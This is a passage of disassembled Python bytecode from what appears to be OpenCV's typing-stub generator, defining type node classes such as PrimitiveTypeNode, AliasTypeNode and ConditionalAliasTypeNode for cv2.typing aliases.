LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab64043540, file "f.py", line 146> LOAD_CONST 'NoneTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_CONST None RETURN_VALUE LOAD_CONST 'None' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AnyTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing any type (most of the time it means unknown).' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab64043ed0, file "f.py", line 154> LOAD_CONST 'AnyTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab640431e0, file "f.py", line 158> LOAD_CONST 'AnyTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Any' RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PrimitiveTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a primitive built-in types e.g. int, float, str.' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab823b2db0, file "f.py", line 166> LOAD_CONST 'PrimitiveTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab823b2780, file "f.py", line 170> LOAD_CONST 'PrimitiveTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7fab823b28a0, file "f.py", line 174> LOAD_CONST 'PrimitiveTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7fab823b2e40, file "f.py", line 180> LOAD_CONST 'PrimitiveTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object bool_ at 0x7fab7004fb70, file "f.py", line 186> LOAD_CONST 'PrimitiveTypeNode.bool_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bool_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object str_ at 0x7fab7004f810, file "f.py", line 192> LOAD_CONST 'PrimitiveTypeNode.str_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME str_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'int' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'int' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'float' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'float' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'bool' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'bool' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'string' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'str' CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasRefTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias referencing another alias. Example:\n ```python\n Point2i = tuple[int, int]\n Point = Point2i\n ```\n During typing stubs generation procedure above code section might be defined\n as follows\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n AliasTypeNode.ref_("Point", "Point2i")\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('alias_ctype_name', 'alias_export_name') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab7004fd20, file "f.py", line 217> LOAD_CONST 'AliasRefTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab7004f780, file "f.py", line 224> LOAD_CONST 'AliasRefTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab7004fdb0, file "f.py", line 228> LOAD_CONST 'AliasRefTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST alias_ctype_name CALL_METHOD POP_TOP LOAD_FAST alias_export_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST alias_ctype_name LOAD_FAST self STORE_ATTR alias_export_name JUMP_FORWARD to 34 LOAD_FAST alias_export_name LOAD_FAST self STORE_ATTR alias_export_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR alias_export_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias to another type.\n Example:\n ```python\n Point2i = tuple[int, int]\n ```\n can be defined as\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n ```\n Under the hood it is implemented as a container of another type node.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'value', 'export_name', 'doc', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab7004f930, file "f.py", line 250> LOAD_CONST 'AliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab7004fc90, file "f.py", line 262> LOAD_CONST 'AliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab42a66f60, file "f.py", line 268> LOAD_CONST 'AliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab42a66150, file "f.py", line 272> LOAD_CONST 'AliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab42a66ed0, file "f.py", line 276> LOAD_CONST 'AliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab42a669c0, file "f.py", line 280> LOAD_CONST 'AliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab42a66ae0, file "f.py", line 284> LOAD_CONST 'AliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7fab42a66c90, file "f.py", line 294> LOAD_CONST 'AliasTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7fab42a66030, file "f.py", line 303> LOAD_CONST 'AliasTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'array_ref_name', 'shape', 'dtype', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object array_ref_ at 0x7fab42a66660, file "f.py", line 312> LOAD_CONST 'AliasTypeNode.array_ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME array_ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object union_ at 0x7fab42a666f0, file "f.py", line 343> LOAD_CONST 'AliasTypeNode.union_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME union_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object optional_ at 0x7fab42a660c0, file "f.py", line 353> LOAD_CONST 'AliasTypeNode.optional_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME optional_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object sequence_ at 0x7fab42a664b0, file "f.py", line 363> LOAD_CONST 'AliasTypeNode.sequence_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sequence_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object tuple_ at 0x7fab42a66e40, file "f.py", line 373> LOAD_CONST 'AliasTypeNode.tuple_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tuple_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'class_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_ at 0x7fab42a66d20, file "f.py", line 383> LOAD_CONST 'AliasTypeNode.class_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME class_ LOAD_NAME classmethod LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object callable_ at 0x7fab42a66930, file "f.py", line 393> LOAD_CONST 'AliasTypeNode.callable_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME callable_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'alias_ctype_name', 'alias_export_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object ref_ at 0x7fab42a66a50, file "f.py", line 409> LOAD_CONST 'AliasTypeNode.ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object dict_ at 0x7fab42a66420, file "f.py", line 425> LOAD_CONST 'AliasTypeNode.dict_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME dict_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST doc LOAD_FAST self STORE_ATTR doc LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR required_usage_imports RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 18 LOAD_FAST self LOAD_ATTR value LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 74 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 60 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 74 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD int_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD float_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST doc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING STORE_FAST doc JUMP_FORWARD to 50 LOAD_FAST doc LOAD_CONST '. NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING INPLACE_ADD STORE_FAST doc LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST array_ref_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL UnionTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL OptionalTypeNode LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL SequenceTypeNode LOAD_FAST ctype_name LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL TupleTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL ASTNodeTypeNode LOAD_FAST class_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL CallableTypeNode LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST alias_ctype_name LOAD_FAST alias_export_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL DictTypeNode LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConditionalAliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias protected by condition checked in runtime.\n For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see:\n https://github.com/opencv/opencv/pull/23927#discussion_r1256326835\n\n Example:\n ```python\n if typing.TYPE_CHECKING\n NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]]\n else:\n NumPyArray = numpy.ndarray\n ```\n is defined as follows:\n ```python\n\n ConditionalAliasTypeNode(\n "NumPyArray",\n \'typing.TYPE_CHECKING\',\n NDArrayTypeNode("NumPyArray"),\n NDArrayTypeNode("NumPyArray", use_numpy_generics=False),\n condition_required_imports=("import typing",)\n )\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None, ()) LOAD_NAME str LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'condition', 'positive_branch_type', 'negative_branch_type', 'export_name', 'condition_required_imports', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42a66810, file "f.py", line 464> LOAD_CONST 'ConditionalAliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab42a66b70, file "f.py", line 482> LOAD_CONST 'ConditionalAliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab42a661e0, file "f.py", line 488> LOAD_CONST 'ConditionalAliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab42a665d0, file "f.py", line 492> LOAD_CONST 'ConditionalAliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab42a668a0, file "f.py", line 498> LOAD_CONST 'ConditionalAliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab70165c00, file "f.py", line 502> LOAD_CONST 'ConditionalAliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab70165c90, file "f.py", line 509> LOAD_CONST 'ConditionalAliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'shape', 'dtype') BUILD_CONST_KEY_MAP LOAD_CONST <code object numpy_array_ at 0x7fab701654b0, file "f.py", line 520> LOAD_CONST 'ConditionalAliasTypeNode.numpy_array_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME numpy_array_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST condition LOAD_FAST self STORE_ATTR condition LOAD_FAST positive_branch_type LOAD_FAST self STORE_ATTR positive_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR positive_branch_type STORE_ATTR ctype_name LOAD_FAST negative_branch_type LOAD_FAST self STORE_ATTR negative_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR negative_branch_type STORE_ATTR ctype_name LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST condition_required_imports LOAD_FAST self STORE_ATTR _condition_required_imports LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR _condition_required_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR is_resolved JUMP_IF_FALSE_OR_POP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 30 LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 86 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 72 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 86 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_CONST '_typing.TYPE_CHECKING' LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype CALL_FUNCTION LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype LOAD_CONST False LOAD_CONST ('use_numpy_generics',) CALL_FUNCTION LOAD_CONST ('import typing as _typing',) LOAD_CONST ('condition_required_imports',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NDArrayTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing NumPy ndarray.' STORE_NAME __doc__ LOAD_CONST (None, None, True) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('ctype_name', 'shape', 'dtype', 'use_numpy_generics', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab701655d0, file "f.py", line 541> LOAD_CONST 'NDArrayTypeNode.__init__' 